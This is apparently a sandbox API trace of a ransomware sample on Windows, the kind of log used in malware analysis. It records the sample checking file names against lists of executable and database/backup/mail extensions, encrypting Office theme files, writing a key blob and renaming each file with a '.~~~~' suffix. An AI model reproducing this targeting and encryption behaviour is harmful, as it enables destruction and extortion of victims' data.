	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0086.101] lstrlenW (lpString=".pif") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0086.101] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.102] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.118] lstrlenW (lpString=".sqb") returned 4
	[0086.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0086.118] lstrlenW (lpString=".ost") returned 4
	[0086.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0086.118] lstrlenW (lpString=".txt") returned 4
	[0086.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0086.118] lstrlenW (lpString=".mdt") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0086.119] lstrlenW (lpString=".BDB") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0086.119] lstrlenW (lpString=".eql") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0086.119] lstrlenW (lpString=".DBF") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0086.119] lstrlenW (lpString=".EQL") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0086.119] lstrlenW (lpString=".FDB") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0086.119] lstrlenW (lpString=".EDB") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0086.119] lstrlenW (lpString=".DACPAC") returned 7
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0086.119] lstrlenW (lpString=".VHD") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0086.119] lstrlenW (lpString=".DBV") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0086.119] lstrlenW (lpString=".dacpac") returned 7
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0086.119] lstrlenW (lpString=".sdf") returned 4
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0086.119] lstrlenW (lpString=".accdb") returned 6
	[0086.119] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0086.119] lstrlenW (lpString=".DBX") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0086.120] lstrlenW (lpString=".MDT") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0086.120] lstrlenW (lpString=".SQB") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0086.120] lstrlenW (lpString=".vhd") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0086.120] lstrlenW (lpString=".bac") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0086.120] lstrlenW (lpString=".mdf") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0086.120] lstrlenW (lpString=".BAK") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0086.120] lstrlenW (lpString=".BAC") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0086.120] lstrlenW (lpString=".dbs") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0086.120] lstrlenW (lpString=".vhdx") returned 5
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0086.120] lstrlenW (lpString=".NDF") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0086.120] lstrlenW (lpString=".dat") returned 4
	[0086.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0086.120] lstrlenW (lpString=".DBS") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0086.121] lstrlenW (lpString=".CKP") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0086.121] lstrlenW (lpString=".edb") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0086.121] lstrlenW (lpString=".PST") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0086.121] lstrlenW (lpString=".dbf") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0086.121] lstrlenW (lpString=".SQL") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0086.121] lstrlenW (lpString=".pst") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0086.121] lstrlenW (lpString=".dbv") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0086.121] lstrlenW (lpString=".SDF") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0086.121] lstrlenW (lpString=".dtxs") returned 5
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0086.121] lstrlenW (lpString=".db3") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0086.121] lstrlenW (lpString=".OST") returned 4
	[0086.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0086.121] lstrlenW (lpString=".dbx") returned 4
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0086.122] lstrlenW (lpString=".DB3") returned 4
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0086.122] lstrlenW (lpString=".DAT") returned 4
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0086.122] lstrlenW (lpString=".VHDX") returned 5
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0086.122] lstrlenW (lpString=".ndf") returned 4
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0086.122] lstrlenW (lpString=".DB") returned 3
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0086.122] lstrlenW (lpString=".sql") returned 4
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0086.122] lstrlenW (lpString=".MYD") returned 4
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0086.122] lstrlenW (lpString=".DBT") returned 4
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0086.122] lstrlenW (lpString=".ACCDB") returned 6
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0086.122] lstrlenW (lpString=".fdb") returned 4
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0086.122] lstrlenW (lpString=".bak") returned 4
	[0086.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0086.122] lstrlenW (lpString=".myd") returned 4
	[0086.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0086.123] lstrlenW (lpString=".DTXS") returned 5
	[0086.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0086.123] lstrlenW (lpString=".ckp") returned 4
	[0086.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0086.123] lstrlenW (lpString=".dbt") returned 4
	[0086.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0086.123] lstrlenW (lpString=".db") returned 3
	[0086.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0086.123] lstrlenW (lpString=".TXT") returned 4
	[0086.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0086.123] lstrlenW (lpString=".MDF") returned 4
	[0086.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0086.123] lstrlenW (lpString=".bdb") returned 4
	[0086.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0086.123] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.123] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0086.125] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.125] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.125] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20611501106) returned 1
	[0086.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d243d70, dwHighDateTime=0x1d60e1e)) 
	[0086.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6710
	[0086.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6710 | out: hHeap=0x300000) returned 1
	[0086.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f41c0
	[0086.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f41c0 | out: hHeap=0x300000) returned 1
	[0086.126] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0086.126] GetLastError () returned 0x0
	[0086.126] GetLastError () returned 0x0
	[0086.126] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0086.126] GetLastError () returned 0x0
	[0086.126] GetLastError () returned 0x0
	[0086.129] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffc0f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.129] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x3f1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x3f1, lpOverlapped=0x0) returned 1
	[0086.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.129] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.129] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.129] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.129] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.130] CloseHandle (hObject=0x120) returned 1
	[0086.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0086.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.~~~~")) returned 1
	[0086.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0086.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.131] GetLastError () returned 0x0
	[0086.131] RtlWakeConditionVariable () returned 0x365f70
	[0086.131] GetCurrentThreadId () returned 0x9f4
	[0086.131] GetCurrentThreadId () returned 0x9f4
	[0086.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab960
	[0086.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4310 | out: hHeap=0x300000) returned 1
	[0086.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a66d8 | out: hHeap=0x300000) returned 1
	[0086.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4310
	[0086.131] lstrlenW (lpString=".scr") returned 4
	[0086.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".scr") returned 0x0
	[0086.131] lstrlenW (lpString=".cmd") returned 4
	[0086.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".cmd") returned 0x0
	[0086.131] lstrlenW (lpString=".dll") returned 4
	[0086.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".dll") returned 0x0
	[0086.132] lstrlenW (lpString=".bat") returned 4
	[0086.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".bat") returned 0x0
	[0086.132] lstrlenW (lpString=".cpl") returned 4
	[0086.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".cpl") returned 0x0
	[0086.132] lstrlenW (lpString=".sys") returned 4
	[0086.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".sys") returned 0x0
	[0086.132] lstrlenW (lpString=".msc") returned 4
	[0086.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".msc") returned 0x0
	[0086.132] lstrlenW (lpString=".com") returned 4
	[0086.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".com") returned 0x0
	[0086.132] lstrlenW (lpString=".lnk") returned 4
	[0086.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".lnk") returned 0x0
	[0086.132] lstrlenW (lpString=".msp") returned 4
	[0086.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".msp") returned 0x0
	[0086.132] lstrlenW (lpString=".pif") returned 4
	[0086.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".pif") returned 0x0
	[0086.132] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0086.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.133] lstrlenW (lpString=".sqb") returned 4
	[0086.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".sqb") returned 0x0
	[0086.133] lstrlenW (lpString=".ost") returned 4
	[0086.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".ost") returned 0x0
	[0086.133] lstrlenW (lpString=".txt") returned 4
	[0086.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".txt") returned 0x0
	[0086.133] lstrlenW (lpString=".mdt") returned 4
	[0086.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".mdt") returned 0x0
	[0086.133] lstrlenW (lpString=".BDB") returned 4
	[0086.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".BDB") returned 0x0
	[0086.133] lstrlenW (lpString=".eql") returned 4
	[0086.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".eql") returned 0x0
	[0086.133] lstrlenW (lpString=".DBF") returned 4
	[0086.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DBF") returned 0x0
	[0086.133] lstrlenW (lpString=".EQL") returned 4
	[0086.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".EQL") returned 0x0
	[0086.133] lstrlenW (lpString=".FDB") returned 4
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".FDB") returned 0x0
	[0086.134] lstrlenW (lpString=".EDB") returned 4
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".EDB") returned 0x0
	[0086.134] lstrlenW (lpString=".DACPAC") returned 7
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DACPAC") returned 0x0
	[0086.134] lstrlenW (lpString=".VHD") returned 4
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".VHD") returned 0x0
	[0086.134] lstrlenW (lpString=".DBV") returned 4
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".DBV") returned 0x0
	[0086.134] lstrlenW (lpString=".dacpac") returned 7
	[0086.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", lpSrch=".dacpac") returned 0x0
	[0086.134] lstrlenW (lpString=".sdf") returned 4
